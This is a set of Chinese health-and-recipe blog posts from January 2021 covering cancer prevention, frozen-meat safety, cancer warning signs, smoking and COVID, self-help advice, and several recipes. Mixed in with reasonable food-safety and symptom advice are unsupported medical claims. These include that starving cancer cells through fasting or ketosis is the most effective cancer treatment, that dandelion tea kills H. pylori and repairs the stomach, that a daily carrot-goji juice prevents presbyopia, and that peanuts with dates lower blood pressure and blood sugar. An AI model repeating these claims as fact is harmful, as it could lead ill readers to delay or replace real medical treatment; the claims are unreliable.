长期腌制的食物,如泡菜、咸菜、咸鱼和咸肉,很容易诱发胃癌。因为这种食物含有大量的亚硝酸盐,亚硝酸盐与食物中的氨基酸和低分子胺发生反应,可形成具有致癌性的亚硝胺和亚硝酰胺类物质,从而增加胃癌的发病风险。

3、适当补硒


适当补硒 其中蒲公英是高硒植物

临床实验表明,补充硒元素可以提高人体含硒酶的活性,增强机体的抗氧化能力,能够有效清除人体内有害的自由基,抑制致癌物活化酶的活性,促进胃黏膜修复,帮助溃疡创面的愈合,预防胃癌。因此,在日常饮食中我们可以多吃一些富含硒元素的食物,其中蒲公英是高硒植物,高达14.7ug/100g,是自然界罕见的高硒植物。

并且,蒲公英是药食两用的植物,古医书中就有记载蒲公英对胃病有效,如清代《外科证治全生集》中这样写道:“蒲公英瓦上炙枯黑存性,研末火酒送服治胃脘痛。”而现代研究发现,它既能杀灭抑制胃病致病菌幽门螺杆菌,又能修补胃黏膜的损伤。

蒲公英又称“天然抗生素”,对包括幽门螺杆菌、金黄色葡萄球菌、溶血性链球菌等致病菌都有很好的消灭作用。所以,每天用蒲公英根茶泡水喝,另外适当加点玫瑰花,做成蒲公英玫瑰茶也可以。

4、警惕胃部其他疾病

胃溃疡、胃息肉等胃部疾病患者一定要提高警惕,保持经常去医院检查的习惯,防止病情突变成为胃癌。同时,家族有胃癌遗传史的人,也是高发人群之一,需要高度重视起来!

5、长按内庭穴,去胃火


长按内庭穴,去胃火

脚上有个灭火开关”它就是内庭穴,它位于在足的次趾与中趾之间,脚趾缝尽处的陷凹中。《难经·六十八难》中指出:“荥主身热。 ”说明荥穴主要应用于发热病症。

内庭穴是治疗胃部疾病最好的穴位,可以祛除胃部上火症状,有很好的疗效,中医们都说是胃部上火的克星。凡是胃火引起的牙痛、咽喉痛、鼻出血、口臭、胃酸、便秘都可以按摩内庭穴。

2021-01-24 / by / in ,
专家提醒:这种肉 毁肠胃 容易致癌 吃一口老十岁!

这种肉吃一口老十岁/吃肉七禁忌/冷冻肉保质期/这种肉不能吃

疫情当下,有些家庭可能存了一些食物,但也要注意保质期,尤其对冷冻肉类的保质期,对人类的健康更为重要。

翻翻冰箱,你有多久没有清理过冷冻室了?对很多家庭来说,经常有一些鸡肉、鱼肉、猪肉等肉品被遗忘在冰箱的角落。一年半载后才察觉。在营养专家看来,这种肉已经超过了安全食用期,不仅口感差、营养流失,而且还有健康风险。

肉类保质时间

“僵尸肉”说法,最早源于媒体报道,是对冰冻多年后销往市场冻肉的一种夸张形容。它们多为走私品,质量安全不能保证。但其实很多家庭的冰箱里,就存放冷冻时间过长的肉。不同类型的肉冷冻保存时间不同,一般来说,家用冰箱存半年以上就有些长了。

通常来说,冷冻肉买回后也最好在1个月内吃完,越早越好。冷鲜肉(即屠宰后24小时内将肉的温度降至0℃~4℃,并冷藏销售)最好现买现吃,如果当天没吃完,可在0℃~4℃的环境下冷藏,3天内吃完。热鲜肉(屠宰后不经过任何冷藏、冷冻,直接拉到市场卖的肉),买回后当天就应吃完。因为高温下,微生物很容易污染肉类并快速生长繁殖,安全性相对较差,夏季尤其如此,可能早上买的肉晚上就出现异味。


冰箱要及时清理 

久吃冻肉毁健康

冰箱不是“保险柜”,冷冻时间过久的肉哪怕没过期,口感发硬发柴,鲜味丧失事小,在安全、营养方面也会大受影响。

1、加速衰老

冷冻室的低温能阻止细菌增殖,但无法完全阻止脂肪和蛋白质的氧化,也就不能完全阻止肉质的劣变。由于氧化反应,久冻的瘦肉颜色会逐渐从红色变成褐色,肥肉会逐渐发黄,不仅风味变差,还会产生加速人体衰老的脂肪氧化产物。

2、增加患癌几率

过期的冷冻肉中含有很多细菌,甚至有的细微寄生虫也会在里面,这些都是对身体有害的,长期食用过期的冷冻猪肉会导致人自身的免疫力下降,甚至还会增加癌症机率。

3、容易腹泻

据《海峡导报》报道,厦门卢某为了招待儿子第一次带回家的女友,特别做了一桌子的菜,没想吃了饭之后,一家老小全都出现了腹泻、呕吐的症状。到了医院,经医生诊断,卢某一家是因为吃了化冻变质食品而患上了胃肠疾病,罪魁祸首就是冰箱里的冻肉。根据临床统计,炎症性肠病患者数逐年上升,其中约有三成患者都表示曾出现过食物在冰箱里存放过久等情况。

4、维生素损失大

久冻肉不仅口感差,如果蛋白质发生氧化,还会使必需氨基酸分解。冷冻时间越久,维生素的损失越大,特别是B族维生素。

吃肉七禁忌

1、千万千万别吃病死猪肉

病死的猪肉往往带致病微生物、并且极易受到有害微生物的污染,甚至可能存在未知的毒物,家庭烹饪难以杀灭病菌。去正规超市和农贸市场购买,不要贪便宜买那些明显低于市场价格的肉类,就可以最大限度地避免买到病死肉。

2、别吃烧煮过度的肉

在200~300摄氏度的温度下,肉类食物中的氨基酸、肌酸酑、糖和无害化合物会发生化学反应,形成芳族胺基。芳族胺基含有12种化合物,其中9种有致癌作用。

3、不要吃豆猪肉

豆猪肉又叫米猪肉,是猪囊虫寄生在猪体内引起的病致死的猪肉。人如果吃了未煮熟的豆猪肉,囊虫会在人的小肠中发育为钩绦虫。购买时,可以观察猪肉的切面,如果发现米粒大小的水泡状物,即可断定为米猪肉。


忌食用高温油炸的咸猪肉 

4、忌食用高温油炸的咸猪肉

咸肉含硝,油炸油煎后,会产生致癌物质亚硝基吡咯烷。因此食用咸鱼、咸肉、香肠、火腿等食品时,忌煎炸。

5、不要吃肉疙瘩

猪脖子等处灰色、黄色或暗红色的肉疙瘩含有很多病菌和病毒,食用则易感染疾病。

6、不宜用热水浸洗

用热水洗猪肉会影响猪肉的味道,可以先用干净的布将猪肉表面擦净,然后用冷水快速冲洗干净。

7、切忌解冻后又冷冻

解冻肉类时,最好提前从冰箱冷冻层拿出,在冷藏室放一夜,自然冷藏化冻,风味和肉汁损失最少,但化冻后忌二次冷冻。反复冻融的话,细菌的繁殖将变得更加疯狂。

还有七种肉绝不能吃

鸡头:有害重金属

很多地区喜欢吃麻辣鸡头等,而自古我国就有句民谚:十年鸡头胜砒霜。虽然“鸡越老,鸡头毒性就越大”的说法并不准确,但鸡头中含有重金属却是个不争的事实,所以鸡头还是少吃为好。

猪脖子里的肉疙瘩:易感染疾病

食用时应去除猪脖子等处灰色、黄色或暗红色的肉疙瘩,即被称为肉枣的东西。猪脖子上的肉疙瘩其实就是淋巴结,属于免疫器官,主要用来过滤病原微生物,这些地方含有很多病菌和病毒,不要吃。

禽尖翅:病菌仓库

鸡、鸭、鹅等禽类的翅尖就是个藏污纳垢的“仓库”。禽“尖翅”事实上就是鸡、鸭、鹅等禽类屁股上端长尾羽的部位,学名叫“腔上囊”,是淋巴腺体集中的地方。因此,这些“尖翅”也要少吃为好。正规饲养、经过检验检疫的家禽,偶尔食用不会有危害,但是建议不要多吃。


鸡脖、鸭脖:腺体多有毒 

鸡脖、鸭脖:腺体多有毒

鸡脖和鸭脖上含有胸腺,是免疫器官。鸡脖、鸭脖的肉能吃,但是要注意清洁周围的淋巴及气管,这些东西最好不要吃。而鸡脖、鸭脖上干净的肉质部分一般不会有影响。

羊悬筋:病变组织

羊“悬筋”(又称“蹄白珠”),一般为圆珠形、串粒状,是羊蹄内发生病变的一种组织。专家称,这种可能性是有的,因此不建议多吃。

畜三腺:有害器官

猪、牛、羊等动物体上的甲状腺、肾上腺、病变淋巴腺是三种“生理性有害器官”,食用后会危害健康。因此,畜“三腺”最好不要吃。

鱼“黑衣”:有害物质汇集层

鱼体腹腔两侧有一层黑色膜衣,是鱼过滤水体里重金属的部分,腥臭味大、泥土味浓,含有大量的类脂质、溶菌酶等物质,不宜食用。

2021-01-24 / by / in
海鲜豆腐煲 简单又超级美味【一分钟料理】(视频)

海鲜豆腐煲/海鲜/豆腐/煲

跟着大厨一起学海鲜豆腐煲,美味易学,一分钟搞定。

菜色之一,海鲜的鲜味和软嫩的豆腐搭配的相得益彰。这道菜适合冬季吃,暖身又暖心。 做饭也是让很多主妇头疼的一件事情,毕竟一日三餐不那么容易,我们推荐大家做这道海鲜豆腐汤,既简单而且非常好吃。

食材:

芙蓉豆腐一盒,中卷30g,虾仁4只,兰花蚌20g,葱段5支,蒜仁3颗,洋葱丝10g

调味料:

蚝油50g,米酒10cc,酱油5cc,糖5g,胡椒粉2g,水200cc

作法:

1.豆腐炸至焦香备用,将三鲜川烫捞起。蒜入油锅中炸。

2.葱段,洋葱丝,炸过的蒜仁爆香,加入水与调味料煨煮约1分钟。

3.最后加入川烫好的三鲜,勾芡即可完成。

2021-01-23 / by / in ,
老中医研究:强力推荐 每天早上喝一杯 70岁无老花!

老花/维生素A /保健视力/枸杞胡萝卜汁/胡萝卜红素汁

大家在日常的生活中就要注意如何保健视力,不让老花眼上身出现,那么我们今天就来看一看中医对花眼研究的结果,怎样改善老花眼

经常眼干,眼酸,流目油,或发现越来越难“看清楚”报纸或手机荧屏上的字?当心用眼过度引发青光眼,眼压过高,甚至导致“老花”提早报到!

一般说来,“老花”是40岁上才较常常出现的眼睛疾病。光线进入瞳孔后,水晶体及睫状肌会调整形状,让光线能正确聚焦于复制上。然而,随着年龄增长,水晶体及睫状肌失去弹性后,眼睛聚焦的能力就会逐渐退化,特别是需要观看“近物”时尤其明显。连续用眼视近物的人,也较容易提早出现老花现象。老花发作时,常见的症状包括:

阅读时眼睛疲软,头痛

阅读较小的字体困难

需要更多的光线才能看清物事

须将书本或物品放在手臂左右的距离才看得清

斜视

老花眼还可能引发散光,视力模糊,角膜缺陷等相关的眼睛变形,因此在日常生活中,就要注意如何保健视力。


眼镜

补充维生素A才是护眼王道

中医认为,视力不清是因为“血”不足,实际上,摄取充份的维生素A,是最简单且最有效的视力保健方式。在日常生活中最易取得,且效果最强的护眼食材,就是含有大量胡萝卜素的“胡萝卜”,以及有明目清肝之效的“枸杞”。每天喝一杯“枸杞胡萝卜汁”,可以保健视力,预防白内障,延缓眼睛衰老的功效。

每天早上喝一杯,70岁无老花!老中医强力推荐!

【枸杞胡萝卜汁】

材料

枸杞:20粒

胡萝卜:1/2根

苹果:1/2颗

蜂蜜:1茶匙

开水:100CC

做法

胡萝卜,苹果洗净后,削皮,切块,加入果汁机内,与枸杞一同榨汁。


胡萝卜

榨完果汁后,与开水搅拌均匀,再加入一匙蜂蜜,即可取代。

【胡萝卜红素汁】

材料

胡萝卜:1根

蕃茄:1/2颗

西洋芹:1/2条

柠檬:1/4颗

水:200CC

做法

将胡萝卜,蕃茄,西洋芹洗净,削皮,切块,放入果汁机中榨汁,最后再加入柠檬汁,与开水搅拌均匀。

胡萝卜红素汁含有丰富的维生素A和β胡萝卜素,可促进眼睛黏膜,预防干眼症,结膜炎,延缓眼睛老化。

2021-01-23 / by / in
谁看谁受益!有几种癌症到了晚期 还没有任何征兆 为什么?

体检/老年人/癌症 晚期/肿瘤患者癌症/癌症晚期征兆

说到癌症人们也不在是谈癌色变了,是有些人士认为癌症的治疗偏方很多,可以说已经传遍全国各地,不乏调侃的味道。

可是癌症的发生总是那么突然,一位被检查出胃癌晚期的老太太说,自己两个月前刚进行体检,结果是显示一切正常,为什么会突然变成癌症晚期呢?

其实包括胃癌、宫颈癌、肝癌、肺癌等在内,被发现时往往是晚期。

为什么会出现这种现象呢?

首先、从体检说起

并非所有的体检都可以发现癌症,正如文章开头提到的,老太太两个月前进行了体检,却没有发现癌症。这是因为常规的体检只是针对血脂、血液、血糖、尿常规和心电图等,连最心梗都无法发现,更何况是肿瘤。

如果想要知道自己有没有患癌,需要进行针对肿瘤的相关检查,而即使进行此类检查,也无法100%检查出肿瘤。而且,此类检查具有创伤性,针对各种肿瘤的检查手法也不同,不可能人人都做,以及每年都做。

第二、肿瘤症状不痛

据有关的治疗显示,大约90%的早期肿瘤是没有明显症状的,等到有症状时,已经发展为中晚期。此外,比较可怕的是不少类型的癌症发展迅速的,可以在短短几个月发展到晚期、扩散、转移。

另外,癌症之所以会表现出一些症状,是由于人体的组织、肌肉、器官和神经受到了侵犯、压迫,而当肿瘤组织比较小,没有对周围组织造成侵犯,那么即使发展到晚期,症状也不是十分明显。

第三、年龄的影响

老年肿瘤患者,因为身体器官萎缩、肌肉松弛等,身体出现了退行性变化,一些小型肿瘤无法刺激周围神经或肌肉,也可能在早期没有表现。而且各种癌症的反应不一,容易被误解。也导致了肿瘤被发现时已经是晚期。


老年人身体状况受影响的因素多 

肝癌

有一句话说“胃是喇叭、肝是哑巴”。胃黏膜中神经分布多,一旦出现溃疡、胃酸多,很容易感觉到。但是肝脏中不存在痛觉神经,只有当肝脏受到癌细胞损害,导致肿大、硬化、腹水,触及到带有痛觉神经的肝膜时,才会引起警惕,而此时大多属于肝癌晚期。

胃癌

如果早期发现胃癌,并不足以致死。但是胃癌的早期症状并不明显,甚至可以说是没有症状。即使出现症状,也容易被混淆是胃病,极少数人会进行胃镜检查。

宫颈癌

宫颈癌死亡率高,主要由于其潜伏期长、发现晚,往往错过最佳治疗时期。而即使做B超检查,也只能发现直径1公分以上的肿瘤。

15个可能的癌前信号

1 原因不明的消瘦

没有节食或加大运动量,如果体重1个月内减轻超过4.5公斤,就应该看医生。甲亢是女性常见病,会使体重下降,但要留意消瘦也可能是癌症所致。

2 频繁的发烧

不明原因的持续发烧则可能是淋巴癌等癌性病症的征兆。发烧一般常由流感、肺炎或其他炎症引起,但如果不明原因的发烧就要当心了。

3 莫名其妙的持续疼痛

如果身体某部位突然出现疼痛并持续一周以上时,就应尽快查明原因。比如,长期腹痛是大肠癌的症状;胸部疼痛可能是肺癌引起的;骨头酸痛则可能是癌症转移的症状。这时就应赶紧到医院找医生检查。

4 长期的烧心

烧心又叫慢性胃灼热,长期胃灼热、腹部疼痛、胃溃疡,再服用止痛、止酸药物后仍不能缓解,进食后还会出现饱胀或疼痛、进行性食欲减退、消瘦等现象。这些都是胃癌或是食道癌的早期信号。

5 吞咽食物困难

吞咽困难是指进食时出现胸骨后疼痛、食管内有异物感,有人即使不进食,也会感到食管壁像有菜叶、碎片或米粒样物贴附,吞咽下食物后会感到食物下行缓慢,甚至停留在食管内。长期的吞咽困难,可能是喉癌、食道癌和胃癌的征兆,应该尽早接受X光胸透或胃镜检查。

6 持续腹胀

女性持续腹胀,有可能是卵巢癌的症状。腹部持续肿胀、有压迫感、下腹或骨盆疼痛、肠胃不适,出现进食困难或极易有饱腹感,持续数周不缓解,都可能是卵巢癌的征兆。

7 莫名头痛呕吐

莫名的头痛、呕吐,且多发生在晚上,以前额、后枕部及两侧明显。而呕吐与进食无关,常常为喷射性呕吐。如果在血压、睡眠方面正常的情况下,出现上述症状就要警惕是否患有脑膜炎或脑部肿瘤。

8 乳房发红

如果乳房发红,同时皮肤增厚,可能暗示着一种罕见却发展迅速的乳腺癌——炎性乳腺癌。如果乳房上出现皮疹,几个星期不消退,就得及时就医。如果乳头出现内陷、溢液,也得去检查。

9 身体异常肿块

乳房、睾丸、腹股沟、颈部、腹部、腋下或其他部位出现异常包块,应及时就医排查癌症危险。有一点要注意:胸大胸小跟会不会患乳腺癌关系不大。

对于男性来说,如果乳房皮肤起皱、乳头收缩或不对称、乳头大小和形状改变、乳房红肿、出现硬块等,都是乳头发炎的表现,也是乳癌的症状。

10 非经期出血

如果月经原本非常规律,出现了非经期出血,一定要去检查。绝经后阴道出血更需要重视,因为可能是子宫内膜癌的症状。

11 不疼的尿血

在没有明显诱因的情况下,突然出现肉眼能看到的血红色尿液,又没有疼痛等其他表现时,通常被视为膀胱癌、肾癌等泌尿系统肿瘤的重要警示信号,要加以重视,应该及时到医院就诊。

12 便血、大便变细

便血常与痔疮混淆,但这很可能是肠癌的症状。肠癌除了便血以外,如果肿瘤生长在靠近肛门处,还可能出现大便变细、次数增多等症状,甚至引起大便困难。

13 斑点痒痛、黑痣变化

研究发现,皮肤斑点处有疼痛或发痒的症状,可能是皮肤癌的预警信号。通常来说,非黑色素瘤皮肤癌,尤其是基底细胞癌和鳞状细胞癌,最有可能伴随痛痒症状。

如果皮肤出现新的斑点,黑痣突然增大或出血,皮肤疮口久治不愈,颊黏膜和舌头等处经久不愈的溃疡等,都是皮肤或黏膜肿瘤早期信号,要多加留意。

14 嘴里的白色斑块

美国癌症协会指出,吸烟者要特别注意口腔及舌头上出现的白色斑块,这可能是口腔癌的前兆黏膜白斑病。

15 反复的口腔溃疡

口腔黏膜上(包括上下唇、舌体、牙龈等)有固定性溃疡,经治疗3~4周后仍不愈者,要警惕白塞氏病甚或口腔癌。

治疗癌症的最有效办法就是饿死癌细胞

身体真实的代谢,人们多少都会利用到脂肪进行酮代谢。

1. 晨起时,在空腹情形下,脑部都是利用肝糖,进行酮代谢。

2. 极饥饿时,也是利用肝糖或脂肪,进行酮代谢。

3. 断食,也是进行酮代谢,这可以达到排毒目的。

生酮低糖饮食抗癌中文字幕

2021-01-22 / by / in ,
心理学研究发现:一个人层次越低,越喜欢做这三件事

心理健康/面子/认知/情绪

一个人看哈姆雷特,问题会有一千个,这是因为看问题的角度与视野不同,所以人认知的也不同。

一个人发展大都是由其层次决定的,当一个人层次越低, 他就越喜欢做这三件事:

1、层次越低,越注重面子

有种人把面子看得比什么都重要。李嘉诚曾说, 当你放下面子赚钱的时候,说明你已经懂事了。当你用钱赚回面子的时候,说明你已经成功了。

当你用面子可以赚钱的时候,说明你已经是人物了。当你还停留在那里喝酒、吹牛,啥也不懂还装懂, 只爱所谓的面子的时候,说明你这辈子也就这样了。

层次越低,其实最不需要就是讲究面子。我们有句话叫做, 死要面子活遭罪。越讲究面子的人越是容易活在自我的世界中。他们用面子圈住了自己,所以往往看不到真实而又广袤的世界。


面子

真正层次高的人深知面子并不是人生最重要的东西, 而是追求事物的真理,他们用真相与真理换取更多的人生胜利果实, 从而赢得别人发自内心的尊重。

一个人要想自我持续进化与成长,请记住, 我们首先就必须学会放下面子,我们才能真正认识这个真实的世界。

2、层次越低,越控制不了自己情绪

层次越低的人,越是被情绪控制,他们喜怒形于色, 想说什么就说什么,从未考虑过别人的感受。

而层次高的人则是控制情绪。情绪影响我们重要判断, 心理学曾经发现,一个人越是情绪平和, 无论是决策还是评价都会更为客观与智慧。而被情绪驱使的大脑, 不仅效率低下,而且往往让人生持续低迷。


情绪

从某种意义上来说,任何时候,一个人都不应该做自己情绪的奴隶, 不应该使一切行动都受制于自己的情绪,而应该反过来控制情绪。无论境况多么糟糕,你应该努力去支配你的环境, 把自己从黑暗中拯救出来。

我们需要明白的这个世界的残酷真相,我们越不能控制自己情绪, 我们就无法翻身做自己的主人。只有你慢慢驾驭自己的情绪, 你才会变得更为强大。

3、层次越低,越分不清楚轻重

层次越低的人,格局越小。他们分不清楚事情的轻重, 所以很多时候往往会得不偿失。吴军老师曾经讲述我们生活中有很多人都喜欢用西瓜换取芝麻的事情 。

心理学上有一个重要的二八原则,讲述的是人的一生当中, 其实影响我们人生发展的只有那百分之二十的事情是大事, 其他事情可能都是小事。二八原则告诉我们, 一个人只有做最重要的事情,你的时间价值才能最大化。

比如同样都是24小时,层次高的人懂得用时间做最重要的事情, 所以往往会取得四两拨千斤的效果。而层次低的人则是眉毛胡子一把抓, 有时为了短期的利益而忘记了长远的目标。


提升自我

举个例子来说,我曾经认识两个人都是做文员,每天都非常忙。他们都曾经跟一个老师请教过,如何摆脱这种忙碌的状态。老师的建议就是让她们自考研究生,获取不一样的发展层次。

有一个前台的文员听了这个建议后,依然放置一边, 然后重复每天的忙碌状态;但是另一个女孩则听进去了, 后来她无论多忙,她都会抓紧时间学习考研, 后来这个女孩考上了研究生。出来后她成为别人公司合伙人。而前面那女孩依然在公司继续做文员。

这就是对事情的判断,往往影响我们人生关键也就是几步, 如果我们不能抓住这些影响我们人生重要几步,即使你再忙碌, 你的成效依然甚微。

人与人之间命运的不同,主要来自我们格局与层次。层次越低的人大多越没有自己的见识,他们会被面子所阻碍, 看不到事物的真相,所以越活越迷茫;

其次,他们被情绪所左右,所以总是错过很多机会; 第三个方面则是分不清楚轻重,所以才会越活越累。

一个人要想超越自己,就必须学会控制情绪,放下面子, 学会分清事物的重点,这样你的人生才会越来越好。

2021-01-22 / by / in
非油炸健康版 糖醋排骨 味美鲜嫩(视频)

糖醋排骨/排骨

传统的糖醋排骨的做法需要将排骨加裹淀粉油炸,今天和大家分享这道糖醋排骨的做法和以往的做法完全不同。

新方法做出来的排骨色泽诱人,肉质鲜嫩,大小小孩都爱吃,而且不油腻,满屋子都是肉香味。

食材:

排骨 1000克,葱 2根,姜 4片

调料:

生抽 2汤匙,老抽 少许,蚝油 2汤匙,白糖 2汤匙,料酒 少许,香醋 4汤匙,红腐乳 1块

做法:

1. 焯排骨:排骨洗去血水,倒入凉水锅中,加入葱姜,料酒煮开后,继续煮5分钟,然后捞出。

2. 调料汁:碗中放入生抽 2汤匙,老抽 少许,蚝油 2汤匙,白糖 2汤匙,料酒 少许,香醋 4汤匙,红腐乳1块拌匀。

3. 成菜:将排骨放入锅中,倒入料汁,再加适量的水没过排骨,盖上锅盖,大火煮开后,小火慢慢煮30-40分钟。待汤汁收干后,关火即可。

2021-01-21 / by / in ,
疫情再起!爱好这一口的 赶紧戒掉它

疫情/新冠肺炎/武汉肺炎/吸菸/电子烟/死亡率/慢性疾病/流感/戒菸

新冠肺炎(武汉肺炎)在全球肆虐,董氏基金会便呼吁民众在疫情期间不要吸烟,要维持肺部健康非常重要。

“吸烟容易增加新冠肺炎(武汉肺炎)与慢性病罹患机率,希望民众疫情期间不要吸烟!”台安医院胸腔内科医师吴宪林指出,研究证实吸烟增加新冠肺炎严重度,且英国新冠肺炎痊愈者中,有12.3%会罹患新的疾病而死。


吸烟

疫情期间远离烟害

《台湾醒报》报道,吴宪林指出,研究早已证实吸烟增加新冠肺炎严重度,针对13至24岁年轻人的研究也发现,电子烟使用者罹患新冠肺炎的机率增加5倍,而并用传统烟品与电子烟者,确诊新冠肺炎的机会更提高7倍。他提醒,吸烟时彼此缺乏社交距离,且难戴上口罩,因此在疫情期间戒烟是最好的选项。

而近日英国莱斯特大学与英国国家统计局合作,针对第一波出院的47780名新冠肺炎病患的研究更显示,英国新冠肺炎痊愈者中,近3成在5个月内就会因为罹患新的疾病而再度就医,且12.3%会在五个月内死亡,是医院其他门诊病人死亡率的7.7倍。


电子烟

肺炎加速恶化旧疾

台北荣民总医院家医部医师赖志冠分析,这些出院者之后仍然会受到新冠肺炎的长期影响,有3成的人因罹患新的疾病再度就医,其中许多是心脏、肝脏或肾脏出问题,也有人罹患糖尿病,这显示急性传染病会快速导致慢性疾病迅速恶化。

全球新冠肺炎病例即将破亿,台湾疫情也再度亮起红灯,加上今年天气寒冷与流感季节到来,赖志冠呼吁民众应该尽可能维持身体健康,其中最简单可行的当然包括不要使用任何形式的烟品,尤其是看似可以减害或无害的电子烟。

2021-01-21 / by / in
干锅土豆片 味美可口 超级下饭 肉都不换(视频)

干锅土豆/干锅土豆片

土豆是生活中一种常见的蔬菜之一,它的做法也非常多,如果想做到味美可口,那么今天和大家分享一道干锅土豆片的道料。

干锅土豆片是川渝地区的一道传统名菜,口味香辣。选用的食材就是普通的土豆和适量的青红椒做点缀,因此很受欢迎。另外,专业大厨告诉您做这道菜的几个小窍门,使这道料理更加的美味。

食材:

土豆 2个,青红椒 各一个,葱头 0.5个,姜 5片,蒜 4瓣,五花肉 100克,淀粉 适量

调料:

辣椒酱 1茶匙,蚝油 1汤匙,白糖 1茶匙,蒸鱼豉油 少许,孜然粉 少许,白芝麻 少许

做法:

1. 准备工作:土豆洗净去皮切片,然后放入水中加少许醋防止变黑,泡3分钟后洗去淀粉,捞出控干,加入适量的淀粉裹匀土豆。青红椒切块,五花肉切片,葱头切丝

2. 爆香葱头:锅中放入少许油,放入葱头爆炒1分钟后盛出放入盆中。

3. 炸土豆:锅中放入足够的油,放入土豆炸至表面金黄后捞出,然后再复炸一次,复炸时将青红椒也放入炸一下。

4. 成菜:锅中放入少许油,下入肉片,姜,蒜炒香,放入少许辣酱,炒出红油,再放入蚝油翻炒均匀,下入炸好的土豆片,放入少许白糖,蒸鱼豉油大火翻炒几下,淋上少许香油,孜然粉,白芝麻快速翻炒均匀,出锅后倒在炒好的葱头上面即可。

2021-01-20 / by / in ,
灵隐寺腊八喝粥有讲究,传统配方流出!

腊八节/腊八粥/传统习俗/温暖滋补/强身健体/糖尿病

腊八粥的做法有着不同的版本,今天给大家介绍一版非常有讲究的灵隐寺传统配方腊八粥。

明天就是农历腊月初八,俗话说“过了腊八就是年”,年的脚步越来越近了。腊八节喝腊八粥,是我们华夏民族的传统习俗。 《本草纲目》中记载冬天喝腊八粥可:畅胃气、生津液,温暖滋补、可祛寒。腊八粥的食材五行俱全,对五脏具有补益作用,可以强身健体。但是,粥中食材的搭配还是有讲究的。

腊八粥

手足易冷的阳虚者,可以多加桂圆、红豆、枸杞等温补的食材;喜食肥甘痰湿较盛者,可以多加茯苓、薏米等健脾化湿的食材;腰膝酸软肾虚者,可多加黑米、黑豆、栗子等益肾食材。还需注意的是,粥类食品容易引起血糖升高,所以糖尿病患者还应在医师指导下食用。

普通做法:

材料:大米30g、小米30g、糯米30g 辅料:薏米30g、赤小豆30g、绿豆30g、芸豆50g、莲子40g、红枣干20g、桂圆30g、花生仁30g玉米糁50g

做法:

1、准备好所需食材;

2、把薏仁、玉米碴、红小豆、绿豆、红芸豆、莲子、花生和红枣提前用清水浸泡;

3、大米、小米和糯米清洗干净;

4、和1中浸泡充分的各种原料混合;

5、添加桂圆肉和适量清水,入高压锅;

6、大火煮至上汽,转小火慢压20分钟,关火自然排气。

杭州灵隐寺腊八粥做法

在此为大家奉上杭州灵隐寺腊八粥秘方——《腊八粥制作单》。让忙碌的您、吃不到佛教寺院腊八粥的您,简单动一下手,在家同样可以熬煮出甜糯美味的腊八粥。吃着自己亲手做的腊八粥,总是别有一番风味!

腊八粥

食材:核桃仁、红枣、桂圆、蜜枣、花生、莲子、白果、红豆、芸豆、糯米、大米、白砂糖,外加少量桂花。

杭州灵隐寺在腊八粥中加入少量桂花,不仅为这碗腊八粥增添了淡淡清香,所有食材都要精选,挑去坏果,只有这样,熬出的腊八粥才能稠厚香糯。

熬煮:

01、将难以煮烂的红豆、芸豆、莲子和花生提前煮熟,放凉备用。

02、将糯米、白米、红枣、蜜枣、白果、核桃仁分别洗净,放入锅内,然后将煮好的红豆、芸豆和花生也一并加入锅内。

03、锅中加水,水量和平时煮粥时所用之量差不多即可,点火开煮。

04、煮大约半小时后,放入桂圆肉、莲子,继续煮约半小时。

05、熬煮好后关火,起锅前放入桂花和白砂糖,一碗甜甜糯糯的腊八粥就可以出锅啦。

我们倡议在家亲手熬制香浓腊八粥,与家人分享,过一个惜福、感恩的腊八节。正如清代许嗣隆所言,“快围炉,分舀小匙相续,饱暖交加,消受人闲清福。”

2021-01-20 / by / in
花生搭配它一起煮,翻倍胜吃补药,长寿果这样吃就对了!

红枣花生/老花眼 花生红枣粥/花生的功效/大枣的功效

花生是生活中一种常见的食物之一,更有的家庭喜欢花生炸油来食用,其实花生和一些食物搭配营养价值更高,效果翻倍!


花生不要单独吃哦 

花生是个宝,,营养价值特别高。

花生被称之为“长寿果”,花生米人人都喜欢吃,

但很多人喜欢花生米的第一理由是好吃美味,

其实花生米的营养成分是超乎你想象的。

花生米的营养价值非常棒,它的蛋白质和脂肪的含量比肉、蛋还高,

所以有人把它称之为“植物肉”。

花生米既然营养那么高,那平时得多吃些吧!

那么究竟如何吃,才能达到最佳的营养效果呢?


花生和大枣搭配吃,对身体有很多好处 

花生米+大枣降血压、降血糖、防老花眼

食材:花生米60克、大枣(干枣最好)60克

做法:先把花生米煮好,然后放大枣一起煮烂即可。

每天一次,相当于每天的一顿饭,连汤汁一起吃。


保护心脏,抗衰老,补钙又控血糖,花生好处太多了 

花生的功效

1、保持心脏健康

花生米中的脂肪酸构成,再加上其他成分的作用,

能降低低密度脂蛋白(坏胆固醇)的含量,让心脏更加健康。

2、控制血糖

研究发现,每天以一份花生米取代红肉,可以降低患糖尿病的机率达21%。

另外,花生米可以减缓碳水化合物的吸收,因此早上吃花生米,

可以让血糖值整天都维持较低的水淮。

3、降血压

花生米中的脂肪,可使肝内胆固醇分解为胆汁酸,促进排泄,从而降低血中胆固醇含量,

用以预防动脉粥样硬化、降低血压。

4、延缓衰老

花生米中含有丰富的儿茶素具有很好的抗老化的作用,因此多吃花生有助于延缓衰老。

5、补充钙质

花生米中含有丰富的钙质,因此多吃花生米可帮助补充钙质,

促进人体的生长发育、预防骨质疏松。

6、保护眼睛

花生米含有丰富的蛋白质,经常食用可以保护眼睛。

补血,降压,降糖,红枣也是个宝贝

大枣的功效

1、补血活血

大枣中含有大量对身体有好处的维生素以及微量元素,

例如钙、铁、磷、镁等元素。

这些微量元素在进入身体之后,能够很好的促进身体健康,

特别是起到补血活血的作用。

2、降血糖

大枣中所含的皂类物质,具有降低血糖的功效。

3、降血压

大枣含芦丁有保护毛细血管通畅、防止血管壁脆性增加的功能,

对高血压、动脉粥样硬化等病有疗效。

大枣所含的黄酮类物质可用于高血压和动脉硬化的治疗和预防。

4、补肾

大枣富含环磷酸腺甘,经常食用有补肾的功效。

5、提高免疫力

大枣多糖是大枣中重要的活性物质,

其有明显的补体活性和促进淋巴细胞增殖作用,

可提高机体免疫力。

花生+大枣,还能这样吃


这是腊八粥,我们只需要红枣和花生,简单方便,又健康

花生红枣粥

食材:花生30g、大米60g、红枣15g、冰糖50g(可根据个人口味添加)

做法:

1、准备好大米、花生、红枣。

2、大米洗净,倒入沙煲,加入适量冷水;大火煮开。

3、倒入红枣,煮10分钟。

4、加入花生,大火煮开,小火熬煮20分钟。

5、加入冰糖,直至糖化。

6、盛入碗中,温热食用。

莲藕花生红枣汤

香菇(约10个)、莲藕(两到三节)、花生(两把)、红枣(7到8个)、白果(约10个)

1、香菇洗净,莲藕削去皮,切成片或是小块备用。

2、花生米放开水锅里煮一下,以去涩味。

